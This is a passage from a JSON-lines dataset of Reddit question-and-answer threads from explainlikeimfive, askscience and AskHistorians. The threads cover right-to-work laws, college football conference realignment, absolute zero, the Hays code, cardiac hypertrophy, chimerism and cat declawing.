pay for it.]\n\nAs a practical reality, that means it is difficult to make unions work, since you can't compel people to join them, and it's hard to limit benefits to just those who do.\n\nUnions obviously don't like such laws.  Employers do.  For employees, they are mixed bag, depending whether you wanted to be in the union or not.    While the benefit of unions is somewhat controversial*, there are some issues around how unions work in practice; for example, most current employees in a union shop may have no say in what union they belong to, since unions don't have to recertify in most places, ever...they just keep on long after the people who voted for them are gone.\n\n* - for example, DMV workers and hotel workers might be in a union, but tech employees in Silicon Valley are not. \n", "All of the other comments are on the spot explaining the laws but I just want to add my personal experience to the mix having dealt with both sides in a right to work state so you can see the effects and what it's like.\n\nI work in the AV and production industry for a non-Union company and have worked for the union as well. I work with union employees side by side all the time on different gigs and many union employees also work for us. There are three basic areas impacted by the law that cause a difference between the unionized groups and nonunion companies.\n\nFirst is pay. Right to work means Unions can't deduct dues from a nonunion workers check. The Union guys who work with us put non union jobs higher in priority than the union gigs because they get a larger paycheck since their dues and fees aren't deducted. The company I am currently is non union and also is more competitive in bidding jobs because we charge less per worker per hour because we don't have to deduct fees and dues, but still can pay more directly to the worker hourly.\n\nFor example:\nfor a corporate gig we will charge $25/hr and pay the employee $20/hr\n\nThe union charges $30/hr and pays their guys $12/hr. \n\nSecond is fluidity and opportunity within the company. People are promoted based on merit where I work, not based on seniority. The union guys who get paid the most are the most senior guys with time under their belts, and they are more often than not, the ones who Load trucks since it is a \"senior position\". if you aren't on their level you aren't allowed to even touch boxes coming on or off the trucks. And since those guys are the most senior members, they also are the oldest and most incapable of loading a truck, so the work is long, arduous, and ultimately not good for those guys. And you aren't allowed to help because you would be \"stealing their work\". With us the job goes quicker, you get to learn all aspects of the work and grow. Plus pay is equal among employees and raises are earned through merit and time.\n\nLastly, the Rights are the same. Non-union workers and union workers alike get the same breaks, same lunches, and have to follow the same standards. I understand that it's because of unions that these systems are in place, but non union companies, including the one I work for, honor those same rules due to corporate social responsibility and mass media. If a company infringes on these rights it can be widely publicized and the company will take a hit from which it may not recover, or a government agency will step in. That is why there is the better business bureau and  groups like Angie's list. You can fix the issues on your own, and if you want it there are ways of getting help. \n\nTL;DR: You get treated essentially the same, work environment is a little more fluid in a non union environment and pay is more competitive and trickles down to the employee better. At least in theory.\n\nHope this helps\n\n\n\n\n\n", "With work, there is capital, labor, and management. Capital is the investors. Management works for the investors and runs the company. And labor does the actual work. The investors pool lots of money together to enable the creation and funding of the company, and authorize management to hire and fire labor to get the work done. \n\nIf labor wants to get better working conditions, management and capital are far more powerful than them. America is a \"at-will\" country in general, so management can hire and fire for just about any reason (except for some limited discriminatory or retaliatory reasons). \n\nSo to actually have any ability to stand with an even footing against management and capital, Labor has to organize. It has to present a united front. \"You can't fire one of us for asking for better work conditions because if you do, all of us will quit and the business breaks down.\" \n\nRight to work laws are meant to fracture union power so that labor can't unite. It uses free riders to say \"I won't fund the union...but i'll benefit from their work.\" And the people who do pay union dues then get annoyed with the free riders and want to stop paying dues as well. Furthermore, the union may try to strike, bu the with so many people opting out, a strike with just 15% of the workers doesn't have the same impact as 95%. It becomes much easier for management to just pick off and harass the key union leaders and get them out of the organization. ", "People died for the weekend and 8 hour days and Idiocracy/merica thinks it was employers' benevolence. \n\nThere's not any labor rate in America, union or non, that can compete against slave or near slave labor that free trade deals that we have had foisted upon us. Nor complete against a nation that will destroy its environment for jobs and national prestige. \n\nSo blame unions all you want. Corporations and the far right wing aren't going to be satisfied until we are all slaves and serfs again. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], []]}
{"q_id": "kjj6c", "title": "the sec football division adding teams to their conference (texas a & m and florida state)", "selftext": "What is going on here? Is A & M being accepted into the conference and why so? And what's all this talk about Florida State and the SEC now?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/kjj6c/eli5_the_sec_football_division_adding_teams_to/", "answers": {"a_id": ["c2kzlcx", "c2kzp1p", "c2kzlcx", "c2kzp1p"], "score": [2, 2, 2, 2], "text": ["A & M is joining the SEC. They are being held up on some legal stuff. I don't know if you care what the legal stuff is. I can go into it if you ask.\n\nThe SEC wants A & M because Texas has a lot of football fans with a lot of televisions. The more people who watch football games, the more money the conference makes. Texas also has a lot of good football players. It helps other teams in the SEC get all those good Texas football players if they play in Texas every other year.\n\nPeople are talking about Florida State in the SEC. These are just rumors. The SEC currently has 12 teams. When Texas A & M joins they will have 13 teams. 13 is a bad number of teams to have because then things are uneven so they are probably going to add a 14th member. Some people think Florida State would be a good fit but, like I said, these are just rumors right now.", "To understand the conference realignment (the general name for all of these teams moving between conferences) that is going on, you need to understand the motive. Basically, it all boils down to money. Since cable TV started becoming popular, the amount of money each team gets for appearing on TV has steadily increased. These days, teams in automatic qualifying conferences such as the SEC get millions and millions of dollars each year from TV rights. Recently, enough money has  been involved that conferences are looking to expand so their TV rights are worth more money, so their individual member schools can also get more money.\n\nNow lets talk about the SEC in particular. The SEC has been a powerful football conference for the better part of a century, but it has gotten significantly more popular over the past five years due to success on the field. However, most states that have an SEC teams have almost no competition, which means the market is saturated, or that there is almost no opportunity for growth. So, for the SEC to become more profitable, it must expand its borders. This is why Texas A & M was such an attractive opportunity for the SEC. Texas has no SEC teams, but now that A & M is an SEC school, the SEC will receive more money each time an SEC game is aired in the state. Since Texas is a large state that watches a lot of football, this means millions and millions of dollars to the SEC. As an added benefit, A & M has had a good football program the past few years, so the apparent strength of the conference will increase, which improves the SEC's chances at being ranked well in the BCS system (if you need a full explanation of the BCS ranking system, I can give it, but that's a rather expansive topic on its own). Texas A & M also will come out ahead in this deal because they will get more money for TV rights in the SEC than they did in their previous conference, the Big 12, plus, they will play a harder schedule which, again, gives them a boost in the ranking system if they play well.\n\nFSU is a bit more difficult of a subject. Until 1991, FSU played football as an independent school, which means it was not part of any conference. In 1992, it became part of the ACC, so it could gain a stable home. Independents can gain lots of money from their own TV contracts (see Notre Dame), but it can be very hard to maintain enough national exposure for the rights to maintain a high value. FSU changed the dynamic of the ACC a bit, as until the 90s, it was very much a basketball conference. FSU brought in a very good football program, and paved the way for teams like VT and Miami to also join (they did in the early 2000s) and make the ACC much better at football than it was before the 1990s. So why is the SEC interested in an ACC team? As I said, *most* states with an SEC team can be considered SEC states, but Florida is not one of them. Florida is the most populous state in the south and has at least 5 teams in Division I football, but only one of them is in the SEC. If FSU becomes an SEC school, the SEC will have a larger fan base in Florida, so they are an attractive option. FSU, like Texas A & M, will gain increased revenue from TV rights plus a more prestigious schedule. However, at this point it doesn't look like FSU will leave the ACC for the SEC, as on Sunday, the ACC presidents unanimously decided to increase the fee for leaving the ACC to $20 million dollars from $10 million dollars. FSU may still be considering the move, but it is difficult to understand why their president would agree to paying another $10 million dollars if he wasn't planning on staying in the ACC.\n\nAll of this conference realignment stuff has still got a ways to go before it is sorted out. Many people are predicting that four conferences (SEC, ACC, Big 10, Pac 10) will go to 16 teams, while the other two automatic qualifying confernces (Big 12, Big East) will be disbanded when their teams leave for other conferences. Word on the street is that the SEC is also looking at adding West Virginia, Virginia Tech, Louisville, or South Florida. Some of this might be sorted out quickly, other parts may not be for several months or even years, so sit back and enjoy the fireworks :D\n\nI hope that made sense. This is my first post on ELI5, so I might have been a little too complicated, but this is a very complicated situation. My sources are discussion on r/CFB and articles on ESPN.", "A & M is joining the SEC. They are being held up on some legal stuff. I don't know if you care what the legal stuff is. I can go into it if you ask.\n\nThe SEC wants A & M because Texas has a lot of football fans with a lot of televisions. The more people who watch football games, the more money the conference makes. Texas also has a lot of good football players. It helps other teams in the SEC get all those good Texas football players if they play in Texas every other year.\n\nPeople are talking about Florida State in the SEC. These are just rumors. The SEC currently has 12 teams. When Texas A & M joins they will have 13 teams. 13 is a bad number of teams to have because then things are uneven so they are probably going to add a 14th member. Some people think Florida State would be a good fit but, like I said, these are just rumors right now.", "To understand the conference realignment (the general name for all of these teams moving between conferences) that is going on, you need to understand the motive. Basically, it all boils down to money. Since cable TV started becoming popular, the amount of money each team gets for appearing on TV has steadily increased. These days, teams in automatic qualifying conferences such as the SEC get millions and millions of dollars each year from TV rights. Recently, enough money has  been involved that conferences are looking to expand so their TV rights are worth more money, so their individual member schools can also get more money.\n\nNow lets talk about the SEC in particular. The SEC has been a powerful football conference for the better part of a century, but it has gotten significantly more popular over the past five years due to success on the field. However, most states that have an SEC teams have almost no competition, which means the market is saturated, or that there is almost no opportunity for growth. So, for the SEC to become more profitable, it must expand its borders. This is why Texas A & M was such an attractive opportunity for the SEC. Texas has no SEC teams, but now that A & M is an SEC school, the SEC will receive more money each time an SEC game is aired in the state. Since Texas is a large state that watches a lot of football, this means millions and millions of dollars to the SEC. As an added benefit, A & M has had a good football program the past few years, so the apparent strength of the conference will increase, which improves the SEC's chances at being ranked well in the BCS system (if you need a full explanation of the BCS ranking system, I can give it, but that's a rather expansive topic on its own). Texas A & M also will come out ahead in this deal because they will get more money for TV rights in the SEC than they did in their previous conference, the Big 12, plus, they will play a harder schedule which, again, gives them a boost in the ranking system if they play well.\n\nFSU is a bit more difficult of a subject. Until 1991, FSU played football as an independent school, which means it was not part of any conference. In 1992, it became part of the ACC, so it could gain a stable home. Independents can gain lots of money from their own TV contracts (see Notre Dame), but it can be very hard to maintain enough national exposure for the rights to maintain a high value. FSU changed the dynamic of the ACC a bit, as until the 90s, it was very much a basketball conference. FSU brought in a very good football program, and paved the way for teams like VT and Miami to also join (they did in the early 2000s) and make the ACC much better at football than it was before the 1990s. So why is the SEC interested in an ACC team? As I said, *most* states with an SEC team can be considered SEC states, but Florida is not one of them. Florida is the most populous state in the south and has at least 5 teams in Division I football, but only one of them is in the SEC. If FSU becomes an SEC school, the SEC will have a larger fan base in Florida, so they are an attractive option. FSU, like Texas A & M, will gain increased revenue from TV rights plus a more prestigious schedule. However, at this point it doesn't look like FSU will leave the ACC for the SEC, as on Sunday, the ACC presidents unanimously decided to increase the fee for leaving the ACC to $20 million dollars from $10 million dollars. FSU may still be considering the move, but it is difficult to understand why their president would agree to paying another $10 million dollars if he wasn't planning on staying in the ACC.\n\nAll of this conference realignment stuff has still got a ways to go before it is sorted out. Many people are predicting that four conferences (SEC, ACC, Big 10, Pac 10) will go to 16 teams, while the other two automatic qualifying confernces (Big 12, Big East) will be disbanded when their teams leave for other conferences. Word on the street is that the SEC is also looking at adding West Virginia, Virginia Tech, Louisville, or South Florida. Some of this might be sorted out quickly, other parts may not be for several months or even years, so sit back and enjoy the fireworks :D\n\nI hope that made sense. This is my first post on ELI5, so I might have been a little too complicated, but this is a very complicated situation. My sources are discussion on r/CFB and articles on ESPN."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "14ua5l", "title": "what are flavonoids, what do they do, and why do we need them?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/14ua5l/what_are_flavonoids_what_do_they_do_and_why_do_we/", "answers": {"a_id": ["c7gn0e6"], "score": [3], "text": ["Electrolytes is what plants crave. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "110h2w", "title": "If two objects were brought to absolute zero, would they pass through one another?", "selftext": "Today in chemistry we were discussing absolute zero and how, in theory, there would be no movement of electrons at that temperature. Does this mean, as atoms are largely empty space, that if perfectly lined up, they could pass through each other without electrons preventing them from doing so? If not, what prevents them from doing so? In my mind, the huge volumes of empty space surrounding the nuclei should allow other atoms to pass through it.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/110h2w/if_two_objects_were_brought_to_absolute_zero/", "answers": {"a_id": ["c6i7j6g", "c6i7y22", "c6i8528"], "score": [34, 6, 5], "text": ["Electrons would still move at absolute zero, that's a common misconception.", "When talking about events on the atomic scale, you have to realize that the behavior is different than what would happen clasically and what we intuitively imagine is happening. To take the specific example of electrons in matter, it's not true that electrons would \"stop moving\" as you reduce the temperature as would happen clasically. The reason is that the electronic states are quantized, meaning you have a discrete set of states rather than a continuum. What this means is that as you lower the energy, the lowest energy that the electron can achieve is that of its fundamental state. For example for the hydrogen atom, that would be the n=1 state with the corresponding probability distribution around the atom (what is commonly illustrated as the electron \"cloud\" around the nucleus). \n\nHaving said that, there are similar effects to what you're describing, but due to other reasons. As you cool certain materials, at certain point they may form Bose-Einstein condensates or superfluids, the latter having zero viscosity are similar to what you are describing. A good example is superfluidic helium: _URL_0_.", "In theory, as it had already been said by natty_dread 0K cannot be achieved, this would not happen. This is because, 0K is not where all energy stops but the point where everything is at it's lowest energy state. In quantised systems, like atoms, the lowest energy state is non zero, therefore the electrons have a **minimum** energy therefore are still \"moving\" (different question altogether)  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.youtube.com/watch?v=2Z6UJbwxBZI"], []]}
{"q_id": "1pmc1f", "title": "why everyone is so upset about julianne hough's black face costume, but no one cared about robert downey jr doing a whole movie (tropic thunder) in black face?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1pmc1f/eli5_why_everyone_is_so_upset_about_julianne/", "answers": {"a_id": ["cd3r5q3", "cd3rkyl", "cd3rqdo", "cd3tu1b"], "score": [5, 9, 2, 2], "text": ["There is a difference between artistic parody and your club outfit.", "Well if you read the top comment on the [top question of this sub](_URL_0_) you'll get a great explanation of why black face is pretty much always offensive and insensitive. \n\nJumping off that, the reason Downey Jr gets away with it in TT (although I still remember it being a bit controversial) is that the film is clearly conscious of the fact that it's *not* ok. His character is a pretentious dick meant to be a satire of many problematic aspects of Hollywood.", "Same reason a comedian can say nigger in a joke and it be okay but you do it in everyday life and you'll probably get some looks. Tropic Thunder was explicitly making fun of the blackface. That said, I don't think Hough's blackface was in bad taste, but the nature of the beast and the history of minstrel shows will always make it a touchy subject.", "Your question is loaded (comes with a clear bias), and so it has been removed. \n\nTry posting in /r/changemyview."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.reddit.com/r/explainlikeimfive/comments/1plkvj/risky_question_why_is_black_face_as_part_of_a/"], [], []]}
{"q_id": "a5f1pa", "title": "why is the cry-it-out method considered bad for babies?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a5f1pa/eli5_why_is_the_cryitout_method_considered_bad/", "answers": {"a_id": ["ebm3ejr", "ebm3tot", "ebm3uc7", "ebm4xl7"], "score": [12, 5, 2, 9], "text": ["Because if babies are crying it\u2019s because they need something. It could be anything from food to attention, what ever they want they need to develop into active members of society.\n", "Higher stress levels in infants can redirect their whole personality for the rest of their lives", "It's a subject of some debate and active research.  It's not known that this method is necessarily bad for babies.  Detractors cite two possible effects (maybe others).\n\nFirst, crying for extended periods may be physically bad for a baby.  It causes stress on the vocal chords and windpipe, and is physically exertive.  However, crying for short periods is natural and many don't regard it as a major concern.\n\nSecond, it is theorized that the baby's sense of safety and comfort may be impact if its cries are not immediately tended to.  On the flip side, it's suggested that a baby's ability to self-regulate its emotions and put itself to sleep are positively impacted.", "Babies *usually* cry because they need something. They're hungry, their diaper is dirty, or they're just lonely and need the warm embrace of mom and dad. Leaving these needs unmet by letting a baby cry themselves to sleep is harmful to babies, it can disrupt the important psychological process of **attachment** where babies learn to rely on their parents. Babies who do not successfully attach to their caregivers will grow up emotionally stunted and have psychological problems.\n\n*However*, sometimes babies have colic and they will cry and cry no matter what you do, even though all their basic needs are met, and sometimes you just have to put them down and let them cry for a few minutes while you step out of the room and collect yourself. However, this is a *last resort* after you've already tried feeding them, burping them, or trying to calm them. If nothing works and they won't stop crying, it's okay to put them down for a couple minutes and let them cry it out. If you hear your baby crying, you *must* automatically assume they need something and attend to them immediately. It's only after trying and failing to soothe them that you can put them down and let them cry it out. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "10akpd", "title": "Why are there no computer simulated drug trials?", "selftext": "We have computer simulations for car crash tests, atomic explosions, black holes, even the whole universe. Why can't we just create a model of the human body and use it to research the effects of new drugs?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/10akpd/why_are_there_no_computer_simulated_drug_trials/", "answers": {"a_id": ["c6bsk64", "c6btatm"], "score": [3, 7], "text": ["We do, sort of. Complex proteins interactions are simulated with computers, but it's not really worth it to simulate the rest of the human body because...\n\n-It takes a massive amount of computing power   \n-It's unlikely any simulation would be accurate enough to verify the actual effects of the drug on the human body    \n-The people they use in drug trials are suffering from the disease it's meant to cure. For some people, the trials are the only chance they have of successful treatment.\n\nAs for those other things you mentioned, simulations are the best available data we have. We can't just create a black hole in a lab to study it directly.", "Modeling an entire organism, even a bacterium, is orders of magnitude more complicated than our most advanced computer simulations of biological systems. Today, we can model in explicit detail the dynamics of a large protein for a few microseconds, and even a simulation of that scale requires an enormous amount of time on a supercomputing cluster. The results of the simulation itself are in doubt, too, since any computational model at that level is an approximation of the true chemistry. Developing accurate models is a busy and complicated field of research when it comes to biochemical simulation, and some scientists still don't trust any results of computer simulations for this reason. \n\nAs far as drug trials, we can still have a hard time accurately simulating the interaction of a single molecule of a drug with its target protein when we already know what the result is, let alone trying an unknown drug on a model of a complete organism."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "5nctu9", "title": "how secure / anonymous are texting apps? how easily can cops trace it?", "selftext": "I was in an argument with a friend about the anonymity of texting apps / burner apps / Skype calling, and I wanted to know, say if you don't use your actual email or information, how easy is it to still trace it to the user?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5nctu9/eli5_how_secure_anonymous_are_texting_apps_how/", "answers": {"a_id": ["dcahgr2", "dcb5bob"], "score": [12, 2], "text": ["It depends on the specific app.\n\nFor some apps, it's not private at all. For others, it's possible for them to see who you're texting but not the contents of the text. Others are completely private.\n\nIn some cases, the answer is \"it depends\". WhatsApp, for example, didn't used to be private until recently - and it's only private if everyone in a chat has a reasonably up-to-date version of the app. When you create a new conversation in WhatsApp, it will show a message saying that the chat is private (if it is).", "If law enforcement has a warrant, they can find that text complete with time and text. Matching it with a specific person will take some analysis.  For example, if you were at the Walmart and the call came through the tower facing that Walmart, a jury would be asked to conclude you were in possession of that phone and made the message."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "c446w8", "title": "could another civilisation have founded another source of energy besides electricity or is it the only source?", "selftext": "Maybe a dumb question. I don\u2019t know much about these but I googled this and could not find anything. \n\n\nWe rely most things on electricity. If there was another civilisation who never discovered electricity, could they accomplish the same things we did with another sort of energy source on earth?\n\n\nEdit: thanks everyone for that you somehow made this art student understand this topic. you rock", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/c446w8/eli5_could_another_civilisation_have_founded/", "answers": {"a_id": ["erurmz3", "eruroa7", "eruv7bq", "eruxz9m", "eruyzjy", "eruz8x5", "erv1wo9", "erv68ws", "erv8p8k"], "score": [56, 7, 13, 3, 2, 2, 2, 2, 2], "text": ["Electricity is not a source.\n\nIt is just a way to move power around.\n\nThe source is coal, nuke, wind or whatever.", "Electricity is not a source of energy, it is a form of energy. It is the so to say the most premium form of energy we know because it can be tranformed into any other form of energy that we like. It can be easily transported but not easily stored and it's production has a lot of 'overhead', which means when we use lower forms of energy to transform them into electricity we lose a lot of the energy, that makes electricity the most expensive form as well. But it is only one form of energy that we find the most useful so far. There is chemical energy, heat energy, compressive energy, kinetic energy and many more that we use for specific purposes where they are more useful than electricity.\n\nI guess it would be imaginable that a civilization does find other forms of energy more useful that electricity. If for example a electrical conductors were exceptionally rare we might not be able to transport electricity that easily and another form, like gas, would be more viable, we did use a vaste gas distribution system before electricity was around, and it worked alright.", "Some amish communities have power tools that run on compressed air generated from gas powered pumps. Compressed air is just as good as electricity for tools but completely incapable of a bunch of the other things electricity does, and their concern is generally with technologies they fear would weaken community cohesion, so a way to transfer power that can run a power tool but not a TV ia great for them. Ultimately, electricty wasn't chosen at random, it was chosen because it was the best option. But there are other, worse options that do work.", "To add to the other answers, there are great examples in our every day life where we use things other than electricity to move energy from one place to another. Batteries, for example, store chemical energy for us to move from one place to another. That is a form of energy transfer. Almost all our batteries are built to release that energy as electricity, but there's no reason why they couldn't release it as heat.\n\nHydraulic pumps use pressurised fluids to transfer energy from one place to another. They're extremely efficient over short distances.\n\nOr a car: Petrol has a lot of chemical energy stored in it. When we burn it in an engine, we convert that chemical energy into 'kinetic' energy - movement. And we use a system of gears to transfer that energy to the wheels\n\nMost of the things we do with electricity could be done with hydraulics, mechanics, steam, or other things. Electricity is convenient because we can make it flow through very small things. However, even our civilisation is starting to use other things. Light, for example, which we use in optical circuits.", "I mean you can use steam and internal combustion engines to power machines which is what we used to/still do and transfer it via belts, pressurized air, hydraulics. Transferring power via electricity has the big advantage over those that there is basically no wear and tear so a lot less maintenance, and a lot less power loss over larger distances making it easier to be distributed.\n\nThere is a limit to what you can do without electricity though because to mimic electronics mechanically you would need to build huge machines due to the size limit of mechanical links so a basic calculator might be the size of a room. \n\nEssentially, nearly all machinery and vehicles, tools and so on can be done without electricity but you can't do high tech stuff/computers/internet and so on.", "As others have said, electricity is a means of transmitting energy. Hydraulic and pneumatic systems are used widely enough that they have their own names, but are only really practical for making things move.\n\nThere is the possibility that a civilisation might use [magnetic circuits instead of electric ones](_URL_0_). But that does seem somewhat unlikely.", "Have you heard about wind, steam, combustion?\nHumans have windmills to crush grain, stramboats, and cars! None of these require electricity", "Electricity is not energy. Nor is it a source of electricity. Electricity is the movement of electrons, and energy is the potential, for something to do something (Bad definition, but it\u2019s hard to define). Electricity can be innate, but it can be useful; using sources of energy to affect electricity can be an efficient way of managing and controlling energy. I could go on  &  give a more detailed answer if you like, but as this is ELI5, I\u2019ll keep it brief unless you ask for me to explain further.\n\nBut to answer your question. There are so many different ways of utilising energy, that avoids electricity. Most notable examples in the real world can include steam trains, using heat-energy/chemical energy. Mobile phones, using EM/light energy to communicate, and bicycles using kinetic energy. I\u2019ve really simplified this, but to answer your question; yes! And we do use some of these alternate methods of energy!", "Electricity was discovered after we found out about a particle called the electron, correct? Since electricity is the flow of electrons, could there be another particle we could control such as the recently discovered Higgs Boson? If so, what could come out of it?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["http://amasci.com/elect/mcoils.html"], [], [], []]}
{"q_id": "74id8c", "title": "In the early days of the Hayes code, were there filmmakers that actively resisted it? What were some loopholes and work arounds for those insistent on making the film they wanted?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/74id8c/in_the_early_days_of_the_hayes_code_were_there/", "answers": {"a_id": ["dnze4r5"], "score": [4], "text": ["Many of the guys testing the early limits of the Hays code were intent on making money.  The films they wanted to make would show as much skin as possible, but would still be allowed in theaters.   Nudity was forbidden, but there was this: \n\n\"VI - Costume\n...\n2. Undressing scenes should be avoided, and never used save where essential to the plot.\"\n\nSo the wizards of Hollywood came up with... Jungle Movies.  For example, it was essential to the 'plot' of \"Tarzan and His Mate\" (1934) that Maureen O'Sullivan and Johnny Weissmuller wear skimpy outfits. They were in a hot tropical forest!  Many, many other jungle films drove through this loophole in the 1930s.  \n\n(This kind of thinking was revived briefly in the early to mid 1960s with 'beach movies', like ones with Annette Funicello.  But the Code was on its last legs by then anyway.)\n\nAs far as an artist wanting to express a vision in conflict with the Code (as opposed to just selling sex), a good example is Bill Wilder and \"Double Indemnity\" (1944).  Double Indemnity was one of the first 'film noir'; it had murder, adultery, crime, suicide... all potential problem areas for the Code.  This was mostly addressed by strongly suggesting things with dialogue and with inferences.  You don't get to see the murder, but there was no doubt it occurred in the room.  It was still a very controversial movie, but it made lots of money so the studio was happy.\n\n\nSource:\n_URL_0_\n\n\n\n\n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://muse.jhu.edu/article/395849/pdf"]]}
{"q_id": "6i7y9v", "title": "What happens to human cardiac muscle as you do cardio exercises? Does the heart micro-tear like skeletal muscle?", "selftext": "I've been having a hard time finding good explanations online. Does the heart \"micro-tear\" during aerobic or anaerobic work the same way skeletal muscle does during weight training? \n\nI've always learned that the heart does not grow because an enlarged heart is a terrible thing. So how exactly does a heart \"get stronger\" from cardio work? Is it perhaps the whole pulmonary system that changes and not just the heart?\n\nThank you!", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/6i7y9v/what_happens_to_human_cardiac_muscle_as_you_do/", "answers": {"a_id": ["dj4yxt7", "dj50faw", "dj55ryy"], "score": [15, 46, 27], "text": ["The heart does grow in size but it's from bad health. \nWhen you do cardio, the fact that you increase your heart rate (to pump adequate blood/oxygen to your muscles) means your heart muscles expand and contract more effectively. After consistent cardio training, your heart will be able to expand more, and contract stronger. They become more flexible as well as stronger\n\nEdit: heart can also grow in size due to excessive lifting/steroids ", "Left ventricular hypertrophy which is the growth of the left ventricle can happen from having a very trained body as well. Many pro cyclists and endurance athletes have this, it reduces work capacity due to the hearts overall efficiency. A reason why endurance athletes have crazy low heart rates, the heart is just that efficient at pumping blood.\n\nNow cardiomyopathy and left ventricular hypertrophy can also happen from years of steroid use coupled with heavy lifting, this is a permanent condition that compromises the overall function of the heart. Your ejection fraction which is the pumping ability essentially decreases, thus compromising your heart and essentially being a cause of death sometimes. This can also happen to obese especially those prone to it genetically, but more common in steroid users.  \n\nSince all steroids essentially cause an erythropeitic response in the blood, which is a signaling of red blood cell production from the kidneys, causing blood to get thicker. This definitely plays a role in the pressure it adds to the arterial lining from elevated blood pressure. Some guys take such high doses for so many years that the androgens cause the heart to grow in itself on top of blood pressure issues.\n\nAn athletic ventricle hypertrophy is different because the changes are not permanent to the heart and often reverses once the athlete starts training. \n\nThis is kind of the gist of it, I'm starting to rant I guess. Hopefully someone much smarter can chime in.\n\nCheers! \n\n", "The heart is able to produce new myocardial cells only up to a few days post partum. Cardiac growth in adults happens due to enlargement of existing cardiac cells and to some extent hyperplasia of non-muscle cells (connective tissue cells). \nThe first measurable change in a cardiac cell under increased workload is the increase in mRNA coding for structural proteins. The cells also increase their mitochondrial mass. These two mechanisms only happen during the development of hypertrophy and are normalized when hypertrophy fully develops. Only permanent changes in the cardiac cells are the increase in cell volume (width and length) and rearrangement of cellular structural proteins (myofibrillar changes).\nThe exact mechanism of cardiac cell growth also depends on the type of stimulus. When the primary stimulus to hypertrophy is a sudden increase in systolic pressure  the main mechanism is the parallel replication of sarcomeres (proteins responsible for contraction). There are also a couple of nonmechanical stimuli that promote cardiac hypertrophy: the renin-angiotensin system and something that is probably more important in cardio exercise: circulating cathecholamines (epinephrine, norepinephrine). \n\n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "6b0gna", "title": "When one twin absorbs another In-utero, does the absorber take on any of the genetic aspects of the absorbed?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/6b0gna/when_one_twin_absorbs_another_inutero_does_the/", "answers": {"a_id": ["dhjq0x3"], "score": [28], "text": ["yes yes yes. it's called [chimerism](_URL_1_). There was a legal battle in real life where a lady had a DNA test and [couldn't prove she was the mother of her own kids](_URL_0_) because they used mouth cells, which happened to belong to her absorbed twin. \n\nyou can have different blood types, or in animals, two different colored furs, or even incomplete male + female sex organs in the same person. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Lydia_Fairchild", "https://en.wikipedia.org/wiki/Chimera_\\(genetics\\)#Humans"]]}
{"q_id": "2bvopt", "title": "is declawing a cat really as bad as everyone makes it out to be?", "selftext": "It seems to be a general consensus that declawing a cat is cruel and unnecessary, but I came across [this website](_URL_0_) which explained that declawing has little to no downsides if the procedure is done correctly. I thought the most interesting part was where it says that the last bone in each toe is not used for walking and is only there to hold on the claws, so declawed cats walk normally. It explains other stuff, like how there is no psychological damage, etc. but I won't summarize the whole thing.\n\nThe anti-declawing articles seem to exaggerate everything and use terms such as \"unnecessary, dangerous mutilation\" so I'm more inclined to believe the above article since it's more neutrally written and has a few sources.\n\nBut really, is declawing actually bad?\n\nEdit: No need to tell me that declawing is cruel. I've heard that enough times. If you want to tell me that please have some reliable sources.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2bvopt/eli5_is_declawing_a_cat_really_as_bad_as_everyone/", "answers": {"a_id": ["cj9cp6b", "cj9cuep", "cj9f18r", "cj9fjms", "cj9fp1d", "cj9gh5f", "cj9hi5a", "cj9hxz9", "cj9kcdz", "cj9n3ue", "cj9p78m", "cj9qhbr", "cj9rq4w", "cla9e8p"], "score": [14, 4, 56, 4, 2, 3, 2, 2, 2, 4, 30, 3, 2, 3], "text": ["Yes. It's removing an essential part of their bodies. \n\nWe can cut off your finger tips and do it really nicely, but you're still missing your fingertips. \n\nAlso, you are removing the cat's main defense. They are more likely to bite once you've removed their claws. \n\nA well cared for cat knows not to scratch and will very rarely scratch you or furniture. It's cruel and ridiculous to declaw them. ", "It's a part of their body like anything else; do you think you'd do well without parts of your hand or feet? Even ignoring this, the surgery still has a significant risk of causing the cat chronic pain whether or not it is performed perfectly, and this will make your cat act up more, and they'll still be able to bite.", "While the pain and recovery for a kitten may not be seen as bad, declawing any cat often leads to more biting and aggression because they now feel defenseless and vulnerable. It's an amputation surgery, cutting off the last joint of their toes because the claw is directly attached to the bone and cannot be removed otherwise. \n\nCompare it to getting the last joints of your fingers cut off. You'll be less sensitive, less able to grasp and grip, and overall just feel a sense of clumsiness and loss. \n\nOn another note, the website linked looks nothing like a reputable vet clinic or animal association. Someone probably coded this themselves at home to make their point. That said, the entire thing is based on their experiences and pointing out how \"exaggerated\" these professional associations make it seem. The truth is that we are not living in our animals bodies, and animals are hard wired to hide pain and illness. Even if our animals 